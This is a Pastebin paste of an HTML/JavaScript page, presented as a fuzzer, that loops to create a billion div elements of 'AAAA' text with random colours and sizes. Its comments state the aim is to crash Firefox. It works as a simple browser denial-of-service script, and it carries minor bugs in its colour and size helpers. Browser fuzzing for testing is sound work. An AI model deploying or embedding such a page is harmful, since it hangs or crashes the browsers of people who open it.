Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head></head>
- <body>
- <div id="playground"></div>
- <script language="javascript">
- // Disclaimer: This piece of code is for educational purposes only and you take full responsibility for using it.
- // Description: This fuzzer creates lots of paragraphs which contain a certain string with random colors and size.
- // Author: Alexandru Cuciureanu
- // Web: http://www.techtipsforsmartchicks.com
- //
- // Let's crash Firefox
- // This is a custom contructor
- function Element(element) {
- this.element = element;
- }
- // Generate a random color
- Element.prototype.randomColor = function() {
- var randomColor = Math.floor(Math.random()*16777215).toString(16);
- return randomColor;
- }
- // Generate a random integer value between min and max
- Element.prototype.randomInt = function(min, max) {
- this.min = min;
- this.max = max;
- var randomFontSize = Math.floor(Math.random() * (max - min) + 1);
- return randomFontSize;
- }
- // Create a DOM element where:
- // element = the type of html DOM element (eg: div, paragraph, etc.)
- // appentToElement = the parent DOM element (eg: in this example the parent is the div
- // identified as "playground"
- // content = the text content of the child DOM element
- Element.prototype.createElement = function(element, appendToElement, content) {
- this.appendToElement = appendToElement;
- this.content = content;
- var create = document.createElement(this.element);
- // set the content of the DOM element
- create.innerHTML = this.content;
- // set color as random
- create.style.color = this.randomColor();
- // set the fontSize as a random value between 1 and 80
- create.style.fontSize = this.randomInt(1,80);
- // create the child element into the parent element
- document.getElementById(appendToElement).appendChild(create);
- }
- // This is the main function where the magic happens.
- function main(numberOfElements) {
- this.numberOfElements = numberOfElements;
- // Create a div object
- var div = new Element('div');
- try {
- // Keep creating DOM elements until their number reach the numberofElements
- for (var i=0; i < numberOfElements; i++) {
- div.createElement(div.element, "playground", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
- }
- }
- catch(e) {
- // Throw an exception if something goes wrong
- alert(e);
- }
- }
- // Set this to a higher value such as 1,000,000,000 if you intend to crash Firefox.
- main(1000000000);
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement